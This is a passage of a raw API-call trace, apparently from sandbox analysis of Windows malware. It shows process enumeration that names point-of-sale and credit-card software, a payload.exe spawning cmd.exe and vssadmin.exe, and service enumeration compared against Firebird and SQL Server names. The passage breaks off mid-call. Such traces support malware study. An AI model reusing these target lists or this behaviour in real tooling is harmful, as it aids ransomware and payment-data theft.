(lpString="accupos.exe") returned 11 [0064.444] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0064.444] lstrlenW (lpString="afr38.exe") returned 9 [0064.444] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0064.445] lstrlenW (lpString="aldelo.exe") returned 10 [0064.445] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0064.446] lstrlenW (lpString="ccv_server.exe") returned 14 [0064.446] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0064.446] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0064.447] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0064.447] lstrlenW (lpString="creditservice.exe") returned 17 [0064.447] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0064.448] lstrlenW (lpString="edcsvr.exe") returned 10 [0064.448] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0064.449] lstrlenW (lpString="fpos.exe") returned 8 [0064.449] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0064.449] lstrlenW (lpString="isspos.exe") returned 10 [0064.449] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0064.450] lstrlenW (lpString="mxslipstream.exe") returned 16 [0064.450] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0064.451] lstrlenW (lpString="omnipos.exe") returned 11 [0064.451] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0064.452] lstrlenW (lpString="spcwin.exe") returned 10 [0064.452] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0064.452] lstrlenW (lpString="spgagentservice.exe") returned 19 [0064.452] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0064.453] lstrlenW (lpString="utg2.exe") returned 8 [0064.453] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="slope.exe")) returned 1 [0064.454] lstrlenW (lpString="slope.exe") returned 9 [0064.454] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="entered.exe")) returned 1 [0064.454] lstrlenW (lpString="entered.exe") returned 11 [0064.454] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="demographicinfluences.exe")) returned 1 [0064.455] lstrlenW (lpString="demographicinfluences.exe") returned 25 [0064.455] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="attach.exe")) returned 1 [0064.456] lstrlenW (lpString="attach.exe") returned 10 [0064.456] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations.exe")) returned 1 [0064.457] lstrlenW (lpString="obligations.exe") returned 15 [0064.457] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0064.457] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0064.457] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0064.458] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0064.458] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0064.459] lstrlenW (lpString="taskhost.exe") returned 12 [0064.459] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0064.459] lstrlenW (lpString="payload.exe") returned 11 [0064.459] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0064.460] lstrlenW (lpString="cmd.exe") returned 7 [0064.460] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0064.460] lstrlenW (lpString="conhost.exe") returned 11 [0064.460] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0064.461] lstrlenW (lpString="vssadmin.exe") returned 12 [0064.461] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0064.461] lstrlenW (lpString="VSSVC.exe") returned 9 [0064.462] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0064.462] CloseHandle (hObject=0x198) returned 1 [0064.462] Sleep (dwMilliseconds=0x1f4) [0065.379] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x626d48 [0065.380] EnumServicesStatusExW (in: hSCManager=0x626d48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0065.380] GetLastError () returned 0xea [0065.380] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x123e) returned 0x628500 [0065.381] EnumServicesStatusExW (in: hSCManager=0x626d48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x628500, cbBufSize=0x123e, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x628500, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0065.382] CloseServiceHandle (hSCObject=0x626d48) returned 1 [0065.382] lstrlenW (lpString="Appinfo") returned 7 [0065.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0065.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0065.382] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0065.382] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0065.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0065.383] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0065.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0065.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0065.383] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0065.383] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0065.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0065.383] lstrlenW (lpString="AudioSrv") returned 8 [0065.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0065.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0065.383] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0065.383] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0065.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0065.383] lstrlenW (lpString="BFE") returned 3 [0065.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0065.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0065.383] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0065.383] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0065.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0065.383] lstrlenW (lpString="CryptSvc") returned 8 [0065.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0065.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0065.383] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0065.383] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0065.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0065.383] lstrlenW (lpString="CscService") returned 10 [0065.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0065.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0065.383] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0065.384] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0065.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0065.384] lstrlenW (lpString="DcomLaunch") returned 10 [0065.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0065.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0065.384] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0065.384] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0065.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0065.384] lstrlenW (lpString="Dhcp") returned 4 [0065.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0065.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0065.384] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0065.384] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0065.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0065.384] lstrlenW (lpString="Dnscache") returned 8 [0065.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0065.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0065.384] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0065.384] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0065.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0065.384] lstrlenW (lpString="DPS") returned 3 [0065.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0065.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0065.384] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0065.384] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0065.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0065.384] lstrlenW (lpString="eventlog") returned 8 [0065.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0065.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0065.384] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0065.385] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0065.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0065.385] lstrlenW (lpString="EventSystem") returned 11 [0065.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0065.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0065.385] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0065.385] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0065.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0065.385] lstrlenW (lpString="gpsvc") returned 5 [0065.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0065.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0065.385] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0065.385] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0065.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0065.385] lstrlenW (lpString="iphlpsvc") returned 8 [0065.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0065.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0065.385] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0065.385] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0065.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0065.385] lstrlenW (lpString="LanmanServer") returned 12 [0065.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0065.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0065.385] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0065.385] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0065.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0065.385] lstrlenW (lpString="LanmanWorkstation") returned 17 [0065.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0065.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0065.385] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0065.385] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0065.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0065.386] lstrlenW (lpString="lmhosts") returned 7 [0065.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0065.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0065.386] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0065.386] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0065.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0065.386] lstrlenW (lpString="MMCSS") returned 5 [0065.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0065.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0065.386] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0065.386] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0065.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0065.386] lstrlenW (lpString="MpsSvc") returned 6 [0065.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0065.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0065.386] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0065.386] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0065.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0065.386] lstrlenW (lpString="Netman") returned 6 [0065.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0065.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0065.386] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0065.386] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0065.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0065.386] lstrlenW (lpString="netprofm") returned 8 [0065.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0065.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0065.386] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0065.386] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0065.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0065.386] lstrlenW (lpString="NlaSvc") returned 6 [0065.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0065.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0065.387] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0065.387] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0065.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0065.387] lstrlenW (lpString="nsi") returned 3 [0065.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0065.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0065.387] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0065.387] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0065.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0065.387] lstrlenW (lpString="PcaSvc") returned 6 [0065.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0065.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0065.387] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0065.387] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0065.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0065.387] lstrlenW (lpString="PlugPlay") returned 8 [0065.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0065.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0065.387] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0065.387] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0065.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0065.387] lstrlenW (lpString="Power") returned 5 [0065.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0065.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0065.387] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0065.387] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0065.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0065.388] lstrlenW (lpString="ProfSvc") returned 7 [0065.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0065.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0065.388] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0065.388] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0065.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0065.388] lstrlenW (lpString="RpcEptMapper") returned 12 [0065.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0065.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0065.388] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0065.388] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0065.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0065.388] lstrlenW (lpString="RpcSs") returned 5 [0065.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0065.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0065.388] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0065.388] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0065.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0065.388] lstrlenW (lpString="SamSs") returned 5 [0065.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0065.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0065.388] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0065.388] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0065.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0065.388] lstrlenW (lpString="Schedule") returned 8 [0065.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0065.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0065.389] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0065.389] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0065.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0065.389] lstrlenW (lpString="SENS") returned 4 [0065.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0065.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0065.389] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0065.389] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0065.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0065.389] lstrlenW (lpString="ShellHWDetection") returned 16 [0065.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0065.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0065.389] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0065.389] lstrcmpiW (lpString1="mssqlserver", 